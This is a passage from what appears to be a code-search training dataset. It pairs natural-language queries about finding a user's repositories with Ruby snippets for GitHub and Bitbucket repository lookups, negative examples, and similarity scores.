"0.6084946",
"0.6077109",
"0.60691893",
"0.60678923",
"0.6060055",
"0.6055838",
"0.6051522",
"0.6050775",
"0.604791",
"0.6046213",
"0.6046213",
"0.60442317",
"0.60369265",
"0.6033353",
"0.6032131",
"0.60207963",
"0.6016256",
"0.6015015",
"0.6007784",
"0.60034734",
"0.5996088",
"0.5994674",
"0.59939736",
"0.59910375",
"0.5990874",
"0.5987455",
"0.5984229",
"0.59806925",
"0.5974803",
"0.59685564",
"0.59610695",
"0.59551793",
"0.59546226",
"0.59500957",
"0.5941547",
"0.5936573",
"0.593097",
"0.5928225",
"0.5926669",
"0.5923436",
"0.59230804",
"0.5923078",
"0.5920555"
] |
0.64118373
|
17
|
Finds the USER_REPO for a given user and repo
|
def find_user_repo(user, repo)
UserRepo.find_by("user_id = ? AND repo_id = ?", user.id, repo.id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_repos(user)\n user.repos\n end",
"def repo_user\n # TODO: Clarify what repo_user actually is.\n # github is currently using the repo's 'owner', gitlab is using the user who pushed.\n case @vcs\n when 'github'\n @data['repository']['owner']['login']\n when 'gitlab'\n @data['user_username']\n end\n # TODO: Bitbucket, Stash/Bitbucket Server, TFS\n end",
"def get_user_repo_hash(user, data)\n return {\n 'user_id' => user['_id'],\n 'open_issues' => data['open_issues'],\n 'watchers' => data['watchers'],\n 'pushed_at' => data['pushed_at'],\n 'homepage' => data['homepage'],\n 'git_url' => data['git_url'],\n 'updated_at' => data['updated_at'],\n 'fork' => data['fork'],\n 'forks' => data['forks'],\n 'language' => data['language'],\n 'private' => data['private'],\n 'size' => data['size'],\n 'clone_url' => data['clone_url'],\n 'created_at' => data['created_at'],\n 'name' => data['name'], # a unique name for a user repo\n 'html_url' => data['html_url'],\n 'description' => data['description']\n }\n end",
"def already_on_repo?(user, repo)\n repo.users.include?(user)\n end",
"def get(user, repo_name)\n org_data = @connection.get(\"/repos/#{user}/#{repo_name}\")\n GitHubApi::Repo.new_with_all_data(self, org_data)\n rescue RestClient::ResourceNotFound\n raise NotFound, \"The repository #{user}/#{repo_name} does not exist or is not visible to the user.\"\n end",
"def get_repo(repo)\n\t\treturn self.fetch(\"repos/#{repo}\")\n\tend",
"def get(user_name, repo_name, params={ })\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n normalize! params\n\n url = if BitBucket.options[:bitbucket_server]\n \"/1.0/projects/#{user}/repos/#{repo.downcase}\"\n else\n \"/2.0/repositories/#{user}/#{repo.downcase}\"\n end\n\n get_request(url, params)\n end",
"def user_repo\n @user_repo ||= platform_klass::UserRepository.new(@platform.username)\n end",
"def repo_info\n # Extract user and project name from GitHub URL.\n url = git_config['remote.origin.url']\n if url.nil?\n puts \"Error: Not a git repository.\"\n return [nil, nil]\n end\n user, project = github_user_and_project(url)\n # If there are no results yet, look for 'insteadof' substitutions in URL and try again.\n unless user && project\n short, base = github_insteadof_matching(config_hash, url)\n if short and base\n url = url.sub(short, base)\n user, project = github_user_and_project(url)\n end\n end\n [user, project]\n end",
"def repo(user_name, repo_name)\n Github::Repo.new @access_token, user_name, repo_name\n end",
"def repository\n @repository ||= Github::Repository.find user: user, name: name\n end",
"def find_repos\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @client = Octokit::Client.new(:access_token => @current_user.token)\n\n # get user input from API\n user_input_string = request.params[:_json]\n input_arr = user_input_string.gsub(/\\s+/, \"\").split(\",\")\n\n # search repos using user input\n repoids = input_arr.map do |input|\n repo = @client.repository(input)\n \"#{repo.to_hash[:id]}\"\n end\n\n # Save user search input and repos to UserPreference\n @current_user.UserPreference.search_input = user_input_string\n @current_user.UserPreference.repos = repoids.join(\",\")\n @current_user.UserPreference.save\n\n respond_to do |format|\n format.json {\n render json: repoids.to_json, status: 200\n }\n end\n end",
"def user_repos\n @user_repos ||= (\n talk 'user repos'\n client.repos\n )\n end",
"def user \n @user ||= @repo.config.username\n end",
"def owned_repositories_with_user(user)\n repos = self.owned_repositories.publics\n repos = repos.or(user.membered_repositories.where(user_id: self.id)) if user\n repos\n end",
"def update_user_repo(user, repo)\n @coll.update(\n {'user_id' => user['_id'], 'name' => repo['name']},\n self.get_user_repo_hash(user, repo),\n {:upsert => true})\n end",
"def owned_repositories_with_user(user)\n repos = owned_repositories.publics\n repos = repos.or(user.membered_repositories.where(user_id: id)) if user\n repos\n end",
"def user\n @user ||= @repo.config.username\n end",
"def user_repo1\n addon = Addon.joins(:user)\n .where(\"lower(users.login) = ?\", params[:login].downcase)\n .where(\"lower(repos.name) = ?\", params[:repo_name].downcase)\n .first\n render json: to_v1_repo_hash(addon)\n end",
"def resolve(user_id:, project_id:, repo_name:)\n is_collaborator = Collaborator.find_by(user_id: user_id, project_id: project_id)\n if is_collaborator\n project = Project.find(project_id)\n user = User.find(user_id)\n project_repo = ProjectRepo.new(project: project, repo_name: repo_name)\n if project_repo.save\n return_info(project_repo)\n else\n return_info(nil, errors: project_repo.errors.full_messages)\n end\n \n else\n return_info(nil, errors: ['Project does not exist or the user is not a collaborator'])\n end\n end",
"def get_repo_list(token, user)\n query = %{\n query ($user: String!, $cursor: String) {\n user(login: $user) {\n repositories(first: 100, after: $cursor) {\n edges {\n node {\n name\n owner {\n login\n }\n }\n }\n pageInfo {\n hasNextPage\n endCursor\n }\n }\n }\n }\n }\n\n vars = { user: user, cursor: nil }\n\n repos = []\n\n loop do\n result = Github.query(token, query, vars)\n repos += result.dig(\"data\", \"user\", \"repositories\", \"edges\") || []\n break unless result.dig(\"data\", \"user\", \"repositories\", \"pageInfo\", \"hasNextPage\")\n vars[:cursor] = result.dig(\"data\", \"user\", \"repositories\", \"pageInfo\", \"endCursor\")\n end\n\n repos.map { |e| { owner: e.dig(\"node\", \"owner\", \"login\"), name: e.dig(\"node\", \"name\") } }\nend",
"def get_repo_users\n repo_users = Array.new\n github = Github.new :oauth_token => github_token\n\n github.repos.list.body.each do |repo|\n repo_users << repo[\"owner\"][\"login\"]\n end\n\n repo_users\n end",
"def get_repos_by_orga(orga) \n\t\treturn self.fetch(\"repos?owner_name=#{orga}\")\n\tend",
"def find_user_for_git_or_lfs_request\n return unless git_or_lfs_request?\n\n find_user_from_lfs_token || find_user_from_basic_auth_password\n end",
"def find_by_username_menu\n puts\n puts \"Enter a GitHub username with *EXACT* capitalization to list that user's repos:\"\n input = gets_user_input\n #if username exists in our DB, don't make API call.\n if !username_exists?(input)\n #making an API call\n get_data(input)\n end\n if find_user(input) == false\n puts \"That user doesn't exist or doesn't have any public repos\"\n menu\n else\n @user = find_user(input)\n end\n @repos = find_repos(@user)\n if show_repos(@repos) == false\n puts \"User has no repos\"\n menu\n end\n find_by_username_sub_menu\n end",
"def user_repos_url(username,token) # :yields:String\n BASE_URL + USERS + \"#{username}/\" + \"repos?access_token=#{token}\"\n end",
"def source_repo\n \"#{@user}/#{@repo}\"\n end",
"def find_user(github_username)\n if username_exists?(github_username)\n User.all.find_by(github_username: github_username)\n else\n false\n end\n end",
"def ensure_repo(user, repo, recursive = false)\n\n repos = db[:projects]\n curuser = ensure_user(user, false, false)\n\n if curuser.nil?\n warn \"Could not find user #{user}\"\n return\n end\n\n currepo = repos.first(:owner_id => curuser[:id], :name => repo)\n\n unless currepo.nil?\n debug \"Repo #{user}/#{repo} exists\"\n return refresh_repo(user, repo, currepo)\n end\n\n r = retrieve_repo(user, repo, true)\n\n if r.nil?\n warn \"Could not retrieve repo #{user}/#{repo}\"\n return\n end\n\n if r['owner']['login'] != curuser[:login]\n info \"Repo changed owner from #{curuser[:login]} to #{r['owner']['login']}\"\n curuser = ensure_user(r['owner']['login'], false, false)\n end\n\n repos.insert(:url => r['url'],\n :owner_id => curuser[:id],\n :name => r['name'],\n :description => unless r['description'].nil? then r['description'][0..254] else nil end,\n :language => r['language'],\n :created_at => date(r['created_at']),\n :updated_at => date(Time.now),\n :etag => unless r['etag'].nil? then r['etag'] end)\n\n unless r['parent'].nil?\n parent_owner = r['parent']['owner']['login']\n parent_repo = r['parent']['name']\n\n parent = ensure_repo(parent_owner, parent_repo)\n\n if parent.nil?\n warn \"Could not find repo #{parent_owner}/#{parent_repo}, parent of: #{user}/#{repo}\"\n repos.filter(:owner_id => curuser[:id], :name => repo).update(:forked_from => -1)\n else\n repos.filter(:owner_id => curuser[:id], :name => repo).update(:forked_from => parent[:id])\n info \"Repo #{user}/#{repo} is a fork of #{parent_owner}/#{parent_repo}\"\n\n unless ensure_fork_point(user, repo).nil?\n warn \"Could not find fork point for #{user}/#{repo}, fork of #{parent_owner}/#{parent_repo}\"\n end\n end\n end\n\n if recursive and not ensure_repo_recursive(user, repo)\n warn \"Could retrieve #{user}/#{repo} recursively\"\n return nil\n end\n\n info \"Added repo #{user}/#{repo}\"\n return repos.first(:owner_id => curuser[:id], :name => repo)\n end",
"def get_all_user_repos\n user = User.find_by(uuid: params[:uuid])\n\n client = Octokit::Client.new(:access_token => user.password)\n repo_list = []\n client.repositories(:user => user.gh_username).each { |repo|\n repo_list.push(repo.name)\n }\n render :json => {:repos => repo_list}\n end",
"def get_repos\n\t\tif current_user.nil?\n\t\t\t@repos = Repo.where(:user_id => nil)\n\t\telse\n\t\t\t@repos = current_user.repos\n\t\tend\n\tend",
"def get_user_repos(username) # :yields: JSON\n uri=URI.parse(@@uri_builder.user_repos_url(username,@@app_token))\n http=HttpHandler.initiate_http(uri)\n begin\n response=HttpHandler.get_response(http,uri)\n rescue ArgumentError\n puts \"Request failed with code: #{response.code}\"\n else\n @@responseStatus=true\n return response\n end\n end",
"def parse_repo\n matches = @source_url.match @github_regexp\n return unless matches\n owner = matches[:owner]\n name = matches[:name]\n \"#{owner}/#{name}\"\n end",
"def repository repoid\n @repos[repoid] or raise \"unknown repository #{repoid.inspect}\"\n end",
"def github_repo\n # GitHub allows underscores, hyphens and dots in repo names\n # but only hyphens in user/organisation names (as well as alphanumeric).\n repository_url.scan(/:([A-Za-z0-9-]+\\/[\\w.-]+)\\.git$/).join\n end",
"def path\n \"repos/#{@user}/#{name}\"\n end",
"def find_project(user_path)\n user_path = user_path.to_s\n Pathname.new(Dir.pwd).ascend do |v|\n return nil if v.to_s == user_path || user_path.start_with?(v.to_s)\n config_path = v + CONFIG_DIR\n return v if config_path.directory?\n end\n nil\n end",
"def get_users_for_repo(neo, repo)\n\n\tneo.traverse(repo, 'nodes', {\n\t\t:order => 'breadth first',\n\t\t:uniqueness => 'node global',\n\t\t:relationships => {\n\t\t\t:type => 'follows',\n\t\t\t:direction => 'in'\n\t\t},\n\t})\n\nend",
"def get_repo\n repos = get_repos\n unless repos.size == 1\n fail Error.new('unexpected that number of matching repos is not equal to 1')\n end\n\n repos.first\n end",
"def repo_named(full_name)\n pry(Git::Multi.repositories.find { |repo| repo.full_name == full_name })\nend",
"def user\n options.user || repo.user\n end",
"def set_repo\n name = params[:repo].downcase\n @repo = Repo.find_by!(\"LOWER(full_name) = ?\", name)\n end",
"def get(user_name, repo_name, ref, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n\n _validate_presence_of ref\n _validate_reference ref\n normalize! params\n\n get_request(\"/repos/#{user}/#{repo}/git/refs/#{ref}\", params)\n end",
"def get_repo_names github_username , git_token\n\n Rails.cache.fetch(\"#{self.id}/repo_names\", expires_in: 6.hours) do\n repo_names = Array.new\n github = Github.new :oauth_token => git_token\n\n github.repos.list.body.each do |repo|\n if github_username == repo[\"owner\"][\"login\"]\n repo_names << { :user=>github_username ,:repo=>repo[\"name\"]}\n end\n end\n\n orgs_names = Array.new\n github.orgs.list.each do |org|\n orgs_names << org[\"login\"]\n end\n\n orgs_names.each do |oname|\n url = \"orgs/\"+oname+\"/repos\"\n \n github.get_request(url,Github::ParamsHash.new({})).each do |orepo|\n if oname == orepo[\"owner\"][\"login\"]\n repo_names << { :user=>oname ,:repo=>orepo[\"name\"]}\n end\n end\n end\n repo_names\n end\n end",
"def github_user_and_project(github_url)\n matches = /github\\.com.(.*?)\\/(.*)/.match(github_url)\n matches ? [matches[1], matches[2].sub(/\\.git\\z/, '')] : [nil, nil]\n end",
"def get_public_repos(user_name)\n get(\"/users/#{user_name}/repos\")\n end",
"def search_repo(query)\n repos = load_and_cache_user_repos\n results = repos.select do |repo|\n repo['name'] =~ Regexp.new(query, 'i')\n end\n results += search_all_repos(query) if query =~ %r{\\/}\n results.uniq\n end",
"def find_all_collabs_for_repo\n puts \"Enter a repo name with *EXACT* spelling and capitalization:\"\n input = gets_user_input\n repo_by_project_name = find_repo_by_project_name(input)\n if repo_by_project_name == nil\n puts \"No repo found\"\n else\n repo_by_project_name.users.each do |user|\n puts user.github_username\n end\n end\n menu\n end",
"def repository_name(item)\n repo = repository_value(item) and EmmaRepository.pairs[repo]\n end",
"def get_repo_name(repo_id)\n repo_name = client.repository(repo_id).name\n rescue Octokit::NotFound\n \"not available\"\n end",
"def set_repo_cred\n @repo = Repo.find(params[:repo_id])\n @repo_cred = @repo.repo_creds.find(params[:id])\n end",
"def repository_issues_users(username, repository)\n issues = github_client.issues(:username => username, :repo => repository).select { |issue| issue.pull_request.html_url.nil? }.uniq_by(&:user)\n issues.map {|issue| {:issue => issue.to_hash, :user => Commiter.import_from_github(issue.user.login)} }\n end",
"def find_by_user(commits, args)\n users = AppConfig[\"environments\"][@options[\"env_name\"]][\"users\"]\n match = eval(args[\"match\"]) rescue nil\n omit = eval(args[\"omit\"]) rescue nil\n commits.select do |commit|\n unless users[commit.user_id]\n puts \" Warning: commit '#{commit.commit_id}' has user_id '#{commit.user_id}' that is not found in the user mappings for environment '#{@options[\"env_name\"]}'\"\n next\n end\n (match.nil? || users[commit.user_id].name =~ match) && (omit.nil? || (users[commit.user_id].name =~ omit).nil?)\n end\n end",
"def user_repos\n @repos = @github.repos.list user: params[:username]\n render json: @repos\n end",
"def repository_value(item)\n unless item.nil? || item.is_a?(String) || item.is_a?(Symbol)\n (repo = get_value(item, :repository)) and return repo\n (repo = get_value(item, :emma_repository)) and return repo\n (repo = get_value(item, :repo)) and return repo\n item = get_value(item, :emma_recordId)\n end\n item.to_s.strip.split('-').first.presence if item.present?\n end",
"def commit_user(githubuser, commituser)\n\n users = db[:users]\n\n name = commituser['name']\n email = commituser['email'] #if is_valid_email(commituser['email'])\n # Github user can be null when the commit email has not been associated\n # with any account in Github.\n login = githubuser['login'] unless githubuser.nil?\n\n # web-flow is a special user reserved for web-based commits:\n # https://api.github.com/users/web-flow\n # We do not follow the process below as this user's email\n # ([email protected]) clashes other existing users' emails.\n if login == 'web-flow'\n return ensure_user_byuname('web-flow')\n end\n\n return ensure_user(\"#{name}<#{email}>\", false, false) if login.nil?\n\n dbuser = users.first(:login => login)\n byemail = users.first(:email => email)\n\n if dbuser.nil?\n # We do not have the user in the database yet\n added = ensure_user(login, false, false)\n\n # A commit user can be found by email but not\n # by the user name he used to commit. This probably means that the\n # user has probably changed his user name. Treat the user's by-email\n # description as valid.\n if added.nil? and not byemail.nil?\n warn \"Found user #{byemail[:login]} with same email #{email} as non existing user #{login}. Assigning user #{login} to #{byemail[:login]}\"\n return users.first(:login => byemail[:login])\n end\n\n # This means that the user's login has been associated with a\n # Github user by the time the commit was done (and hence Github was\n # able to associate the commit to an account), but afterwards the\n # user has deleted his account (before GHTorrent processed it).\n # On absense of something better to do, try to find the user by email\n # and return a \"fake\" user entry.\n if added.nil?\n warn \"User account for user #{login} deleted from Github\"\n return ensure_user(\"#{name}<#{email}>\", false, false)\n end\n\n if byemail.nil?\n users.filter(:login => login).update(:name => name) if added[:name].nil?\n users.filter(:login => login).update(:email => email) if added[:email].nil?\n else\n # There is a previous entry for the user, currently identified by\n # email. This means that the user has updated his account and now\n # Github is able to associate his commits with his git credentials.\n # As the previous entry might have already associated records, just\n # delete the new one and update the existing with any extra data.\n users.filter(:login => login).delete\n users.filter(:email => email).update(\n :login => login,\n :company => added[:company],\n :location => added[:location],\n :created_at => added[:created_at]\n )\n end\n else\n users.filter(:login => login).update(:name => name) if dbuser[:name].nil?\n users.filter(:login => login).update(:email => email) if dbuser[:email].nil?\n end\n users.first(:login => login)\n\n end",
"def repo_name\n # the repo is the last part of the path\n return self.cmd_opt.gsub(\"'\",\"\").split(\"/\")[-1] if !self.cmd_opt.empty?\n end",
"def get(user_name, repo_name, reviewer_username, params={})\n update_and_validate_user_repo_params(user_name, repo_name)\n normalize! params\n\n get_request(\"/2.0/repositories/#{user_name}/#{repo_name}/default-reviewers/#{reviewer_username}\", params)\n end",
"def user_repos1\n addons = Addon.joins(:user).where(\"lower(users.login) = ?\", params[:login].downcase)\n render json: to_v1_repo_hashes(addons)\n end",
"def get_repo_details\n user = User.find_by(uuid: params[:uuid])\n client = Octokit::Client.new(:access_token => user.password)\n repo_map = {}\n client.repository(:user => user.gh_username, :repo => params[:repo_name]).each { |detail|\n repo_map[detail[0]] = detail[1]\n }\n repo_map['languages'] = client.languages(:user => user.gh_username, :repo => params[:repo_name]).map{ |langArray|\n langArray[0]\n }\n render :json => repo_map\n end",
"def full_name repo\n \"#{repo.owner.login}/#{repo.name}\"\n end",
"def repo(repo_name)\n Repo.new(client: @client, user: self, repo_name: repo_name)\n end",
"def repositories\n client.repositories(user_repo, @options)\n end",
"def find_user\n @current_user = User.find_by github_access_token: session[:github_access_token]\n end",
"def working_dir\n return nil if !repo || !user\n return \"#{Bini.data_dir}/repos/#{user}/#{repo}\"\n end",
"def find_repo_by_project_name(project_name)\n Repo.all.find_by(project_name: project_name)\n end",
"def repo\n read_attribute(:repo).presence || self.original_repo\n end",
"def get_user\n response = HTTParty.get(\n GIT_BASE_URL + 'users/' + self.git_id.to_s,\n :headers => {\n 'PRIVATE-TOKEN' => GIT_TOKEN\n }\n )\n Rails.logger.info \"Git server response (get user): #{response}\"\n return response\n end",
"def find_by_path(path, flags={})\n if parseit = path.match(/^.*?(([^\\/]+)\\/)?([^\\/]+?)(\\.git)?$/)\n if proj = Project.find_by_identifier(parseit[3]) || !GitHosting.multi_repos?\n # return default or first repo with blank identifier (or first Git repo--very rare?)\n proj && (proj.repository || proj.repo_blank_ident || proj.gitolite_repos.first)\n elsif repo_ident_unique? || flags[:loose] && parseit[2].nil?\n find_by_identifier(parseit[3])\n elsif parseit[2] && proj = Project.find_by_identifier(parseit[2])\n find_by_identifier_and_project_id(parseit[3],proj.id) ||\n flags[:loose] && find_by_identifier(parseit[3]) || nil\n else\n nil\n end\n else\n nil\n end\n end",
"def get_repo\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get repository: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_json = response.parsed_response\n end",
"def user_id_for(user)\n find(user.id, user.login)\n end",
"def edit(user_name, repo_name, params={ })\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n\n normalize! params\n filter! VALID_REPO_OPTIONS, params\n\n put_request(\"/1.0/repositories/#{user}/#{repo.downcase}/\", DEFAULT_REPO_OPTIONS.merge(params))\n end",
"def repo_name(repo)\n name = nil\n case repo\n when 'stable'\n name = 'omnibus-stable-local'\n when 'current'\n name = 'omnibus-current-local'\n when nil # pass through\n else\n raise \"#{repo} not supported. must be current or stable\"\n end\n name\nend",
"def existing_repo?\n @repo = Repo.where(full_name: repo_full_name).first\n @repo.present?\n end",
"def find_by_username\n User.find_by_username(@username_or_id)\n end",
"def user\n UserRepository.find(user_id)\n end",
"def repos(options = {})\n Tinybucket::Resource::User::Repos.new(username, options)\n end",
"def pull_request_user\n\t\tpull_request_where == 'jackrabbit' ? ALF_CFG['username'] : ALF_CFG['cedar_username']\n\tend",
"def find_repository\n project = find_project\n repository_id = get_repository_identifier\n repository = project.repositories.find_by_identifier_param(repository_id)\n\n if repository.nil?\n if Setting.plugin_redmine_gitlab_hook['auto_create'] == 'yes'\n repository = create_repository(project)\n else\n raise TypeError, \"Project '#{project.to_s}' ('#{project.identifier}') has no repository or repository not found with identifier '#{repository_id}'\"\n end\n else\n unless repository.is_a?(Repository::Git)\n raise TypeError, \"'#{repository_id}' is not a Git repository\"\n end\n end\n\n return repository\n end",
"def repositories(repo, options = {})\n paginate repo.public_user_repos_path, options if valid_user?(repo)\n end",
"def repository(uri, client)\n repo = client.repo uri\n repo\n rescue Octokit::InvalidRepository\n raise gem.to_s + ' didnt have github repo'\n end",
"def repo_path\n if !self.cmd_opt.empty?\n self.fake_path = repo_name\n # real path is something like /jupiler_home/repositories/username/repo_name\n self.real_path = Settings.jup_sh.home + '/' +\n self.username_from_cmd + \"/\" +\n self.fake_path\n return self.real_path\n end\n end",
"def find_git_repo(path=nil)\n # use local_git_repository_path or Dir.pwd if path is not specified\n path = fetch(:local_git_repository_path, Dir.pwd) if path.nil?\n\n # expand the path\n path = File.expand_path(path)\n\n return nil if path == '/'\n\n # try to open the current path\n # if fail, go up a directory\n begin\n ::Git.open(path)\n rescue ArgumentError\n find_git_repo(File.join(path, '..'))\n end\n end",
"def get_repo_info path=\".\", shell=nil\n defaults = {:type => @scm, :url => @url, :path => path}\n\n defaults.merge self.class.get_info(path, shell)\n end",
"def find_user(user)\n user = user_entry(user) if user.is_a?(String)\n case user\n when :anonymous then nil\n when User then user\n when Symbol then users(user)\n when Integer then User.find(user)\n end\n end",
"def delete(user_name, repo_name)\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n\n delete_request(\"/1.0/repositories/#{user}/#{repo.downcase}\")\n end",
"def overlapping_repos_from_users_with_shared_repos\n users = find_users_with_shared_repos[0..1]\n\n if users.size > 1\n ((users[0].repos & users[1].repos) - repos).sort.reverse\n else\n []\n end\n end",
"def repo_name\n return unless @url\n @repo_name ||= Octokit::Repository.from_url(@url).to_s.chomp('.git')\n end",
"def set_repo\n @path = \"#{params[:login].strip}/#{params[:repo].strip}\"\n @repo = CacheRepo.where(path: @path).first\n if !@repo\n @repo = CacheRepo.new(path: @path)\n @repo.save!\n end\n end",
"def repo_params\n params.require(:repo).permit(:name, :user_id)\n end",
"def get(user_name, repo_name, component_id, params={})\n update_and_validate_user_repo_params(user_name, repo_name)\n normalize! params\n\n get_request(\"/2.0/repositories/#{user}/#{repo.downcase}/components/#{component_id}\", params)\n end",
"def extract_owner_username(project_hash)\n new_owner = User.find_by_username(project_hash.delete(\"owner_username\"))\n return new_owner\n end",
"def git_init(repo_path)\n git_repo = Git.init repo_path\n git_repo.config('user.name', @@git_user_name)\n git_repo.config('user.email', @@git_user_email)\n return git_repo\n end",
"def get_default_repo\n\t\t\tENV[ \"M2_REPO\" ] || File.join( Dir.home, \".m2\", \"repository\" )\n\t\tend",
"def repo_name\n @repo_name ||= InchCI::ProjectUID.new(uid).repo_name\n end",
"def format_repo repo\n {\n 'baseurl' => repo.full_path,\n # yum repos have descr field but no name, if descr is empty use the repo name\n 'descr' => repo.description.blank? ? repo.name : repo.description,\n 'enabled' => repo.enabled ? '1' : '0',\n 'gpgcheck' => !!repo.gpg_key ? '1' : '0'\n }\n end",
"def repository\n # Match on hostname\n settings.repositories.each do |repository|\n next if repository.cname.nil?\n if repository.cname.upcase == request.host.upcase\n return repository\n end\n end\n \n # If no match, use the first repository as the default\n settings.repositories.first\n end",
"def org\n user_id.present? ? User.includes(:org).find_by(id: user_id).org : nil\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def repo\n if @repo == NRSER::NO_ARG\n @repo = QB::Repo.from_path root_path\n end\n \n @repo\n end"
] |
[
"0.71823525",
"0.6798617",
"0.67792165",
"0.6545039",
"0.651274",
"0.65033156",
"0.64222455",
"0.6403283",
"0.63970876",
"0.63750434",
"0.6204777",
"0.6193192",
"0.61754256",
"0.61545014",
"0.6141189",
"0.6130649",
"0.6120728",
"0.61113304",
"0.6111093",
"0.6109785",
"0.6099291",
"0.6073184",
"0.6065435",
"0.60413575",
"0.6038522",
"0.5972959",
"0.59476256",
"0.5909677",
"0.5896279",
"0.5880139",
"0.58697695",
"0.5869207",
"0.5857259",
"0.5851673",
"0.5833849",
"0.58325243",
"0.58313096",
"0.5798528",
"0.5784688",
"0.5753882",
"0.5753387",
"0.57516575",
"0.573142",
"0.57085925",
"0.56694955",
"0.5668285",
"0.5662516",
"0.56324613",
"0.5580293",
"0.5565834",
"0.5558108",
"0.5557669",
"0.555211",
"0.55493426",
"0.5547249",
"0.55445075",
"0.5540836",
"0.55314916",
"0.5530528",
"0.55154216",
"0.551199",
"0.55047536",
"0.5480419",
"0.547502",
"0.5461627",
"0.5460195",
"0.5456379",
"0.5447094",
"0.5445608",
"0.5427427",
"0.5424241",
"0.542243",
"0.5422414",
"0.5419409",
"0.5411635",
"0.54083",
"0.5398989",
"0.5394769",
"0.5391626",
"0.5385815",
"0.537265",
"0.5370316",
"0.5369934",
"0.53671455",
"0.53669894",
"0.53665406",
"0.53541166",
"0.53480744",
"0.53347486",
"0.53271914",
"0.5326696",
"0.5325938",
"0.53258526",
"0.53208584",
"0.53174806",
"0.5316296",
"0.5310449",
"0.5307316",
"0.52999526",
"0.52982205"
] |
0.8545253
|
0
|
Returns all of a user's repos
|
def find_repos(user)
user.repos
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_all_user_repos\n user = User.find_by(uuid: params[:uuid])\n\n client = Octokit::Client.new(:access_token => user.password)\n repo_list = []\n client.repositories(:user => user.gh_username).each { |repo|\n repo_list.push(repo.name)\n }\n render :json => {:repos => repo_list}\n end",
"def user_repos\n @user_repos ||= (\n talk 'user repos'\n client.repos\n )\n end",
"def get_repos\n\t\tif current_user.nil?\n\t\t\t@repos = Repo.where(:user_id => nil)\n\t\telse\n\t\t\t@repos = current_user.repos\n\t\tend\n\tend",
"def get_public_repos(user_name)\n get(\"/users/#{user_name}/repos\")\n end",
"def repos\n @repos ||= get(\"/repos/show/#{login}\")['repositories'].map { |r| Repo.new(connection, r) }\n end",
"def repositories\n client.repositories(user_repo, @options)\n end",
"def list\n @connection.get('/user/repos').map do |repo_data|\n Rails.logger.info \"listing repos\"\n GitHubApi::Repo.new(self, repo_data)\n end\n end",
"def get_repo_users\n repo_users = Array.new\n github = Github.new :oauth_token => github_token\n\n github.repos.list.body.each do |repo|\n repo_users << repo[\"owner\"][\"login\"]\n end\n\n repo_users\n end",
"def repos\n @repos ||= (user_repos + org_repos).flatten\n end",
"def user_repos\n @repos = @github.repos.list user: params[:username]\n render json: @repos\n end",
"def get_my_repos\n repos = []\n\n (1..get_total_repo_pages_count.to_i).each do |index|\n get_json( \"#{ GITHUB_USER_REPOS_URL }?per_page=100&page=#{ index }\" ).each do |item|\n repos << item[ 'full_name' ]\n end\n end\n\n return repos\nend",
"def get_repo_list(token, user)\n query = %{\n query ($user: String!, $cursor: String) {\n user(login: $user) {\n repositories(first: 100, after: $cursor) {\n edges {\n node {\n name\n owner {\n login\n }\n }\n }\n pageInfo {\n hasNextPage\n endCursor\n }\n }\n }\n }\n }\n\n vars = { user: user, cursor: nil }\n\n repos = []\n\n loop do\n result = Github.query(token, query, vars)\n repos += result.dig(\"data\", \"user\", \"repositories\", \"edges\") || []\n break unless result.dig(\"data\", \"user\", \"repositories\", \"pageInfo\", \"hasNextPage\")\n vars[:cursor] = result.dig(\"data\", \"user\", \"repositories\", \"pageInfo\", \"endCursor\")\n end\n\n repos.map { |e| { owner: e.dig(\"node\", \"owner\", \"login\"), name: e.dig(\"node\", \"name\") } }\nend",
"def repos\n client.repos({}, query: { sort: \"asc\" })\n end",
"def get_repos\n @api.list_repositories\n end",
"def get_repos\n\t\t@repos = Repo.all\n\tend",
"def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end",
"def list\n @repos\n end",
"def get_user_repos(username) # :yields: JSON\n uri=URI.parse(@@uri_builder.user_repos_url(username,@@app_token))\n http=HttpHandler.initiate_http(uri)\n begin\n response=HttpHandler.get_response(http,uri)\n rescue ArgumentError\n puts \"Request failed with code: #{response.code}\"\n else\n @@responseStatus=true\n return response\n end\n end",
"def get_repos\n # using oauth token to increase limit of request to github api to 5000\n client = Octokit::Client.new :access_token => self.github_token\n (client.repositories self.github_name, {:type => 'all'}).map do |repo|\n repo.full_name\n end\n end",
"def list\n # ask the repo for a list of all the users\n users = @repo.all\n # pass that list to the view to display\n @view.list_users(users)\n end",
"def get_repos\n begin\n @repos ||= github_api_setup.repos.list\n rescue Exception => e\n logger.error \"Github #get_repos error #{e}\"\n end\n end",
"def index\n @repos = @user.repos.includes(:user)\n render json: to_json(@repos)\n end",
"def repos\n @repos ||= OY.repos\n end",
"def all_repos\n\t\tif GitHosting.multi_repos?\n\t\t repositories\n\t\telse\n\t\t [ repository ].compact\n\t\tend\n\t end",
"def cache_all_repos_for_user\n raise InvalidToken unless test_authentication\n repos = []\n repos += get_user_repos\n get_user_orgs.each do |org|\n repos += get_org_repos( org['login'] )\n end\n File.open(@cache_file, 'w') do |f|\n f.write repos.to_json\n end\n repos\n end",
"def all_repos\n if GitHosting.multi_repos?\n repositories\n else\n [ repository ].compact\n end\n end",
"def repos\n api.repos.map(&:to_hash)\n end",
"def find_repositories\n @repos = GithubApi.call :repos\n end",
"def repos(options = {})\n Tinybucket::Resource::User::Repos.new(username, options)\n end",
"def get_list\n @list_of_repos\n end",
